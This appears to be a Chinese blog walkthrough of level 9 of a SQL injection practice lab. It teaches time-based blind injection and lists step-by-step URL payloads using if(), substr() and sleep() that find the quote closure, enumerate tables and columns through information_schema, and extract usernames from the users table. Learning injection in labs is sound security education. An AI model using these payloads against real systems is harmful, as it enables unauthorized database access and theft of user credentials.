SQL靶场第九关攻略

我们的第九关需要用到时间盲注

使用条件:完全没有变化的页面

我们在了解一下时间盲注和布尔盲注的区别,时间盲注比布尔盲注多了一个if判断加上sleep()函数的运用

if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;

sleep()函数 网页延迟n秒后,输出结果

一.判断类型

我们输入

?id=1'

?id=1"

页面完全没反应,我们考虑时间盲注

二.判断闭合点

输入?id=1' and sleep(3)--+

输入?id=1' andif(1=2,1,sleep(3))--+,说明我们的闭合点为单引号

三.判断数据库长度

输入?id=1'and if(length(database())>7,sleep(3),1)--+

输入?id=1'and if(length(database())>8,sleep(3),1)--+,说明数据库长度为8位

四.判断数据库名称

输入?id=1' and if((substr(database(),1,1)='a'),sleep(3),0)--+无延时

输入?id=1' and if((substr(database(),1,1)='s'),sleep(3),0)--+有延时,说明s是我们数据库第一个字母

后面以此类推,得出了数据库名为security

五.判断表个数

输入?id=1'and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(3),1)--+有延时,说明存在四个表

六.判断表的长度

第一张表的长度:

输入?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),0)--+有延时,说明第一张表的长度为6

第四张表的长度:

?id=1'and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(3),0)--+有延时说明第四张表的长度为5

七.查询表的名称

这里我们就不依次判断了,users表是五位,所以直接查第四张表

输入?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u',sleep(3),0)--+有延时,说明我们第四张表的第一位字母是u

以此类推,我们查到最后,第四张表的名称是users

八.查询字段数

输入?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(3),1)--+有延时,说明users表存在三个字段

九.查询字段名

1.判断字段名长度

输入?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(3),0)--+有延时,说明users表的第一个字段名的长度为2

我们在查第二,三个字段名长度都是8

2.判读字段名

输入?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep (3),0)--+有延时,说明我们users表第一个字段的第一个字母是i

以此类推我们可以得到三个字段分别为id,username,password

十.查询数据

输入?id=1'and if(substr((select username from users limit 0,1),1,1)='d',sleep(3),1)--+有延时,说明我们username列中的第一个字段的字母为d

以此类推我们就会把所有的数据查出来

以上就是sql靶场第九关的通关攻略

相关推荐
Zzz 小生1 小时前
Claude Code学习笔记(四)-助你快速搭建首个Python项目
大数据·数据库·elasticsearch
nongcunqq4 小时前
abap 操作 excel
java·数据库·excel
rain bye bye5 小时前
calibre LVS 跑不起来 就将setup 的LVS Option connect下的 connect all nets by name 打开。
服务器·数据库·lvs
阿里云大数据AI技术6 小时前
云栖实录|MaxCompute全新升级:AI时代的原生数据仓库
大数据·数据库·云原生
不剪发的Tony老师7 小时前
Valentina Studio:一款跨平台的数据库管理工具
数据库·sql
重生之我要当java大帝7 小时前
java微服务-尚医通-编写医院设置接口下
java·开发语言·sql
weixin_307779137 小时前
在 Microsoft Azure 上部署 ClickHouse 数据仓库:托管服务与自行部署的全面指南
开发语言·数据库·数据仓库·云计算·azure
六元七角八分7 小时前
pom.xml
xml·数据库
虚行7 小时前
Mysql 数据同步中间件 对比
数据库·mysql·中间件
奥尔特星云大使7 小时前
mysql读写分离中间件Atlas安装部署及使用
数据库·mysql·中间件·读写分离·atlas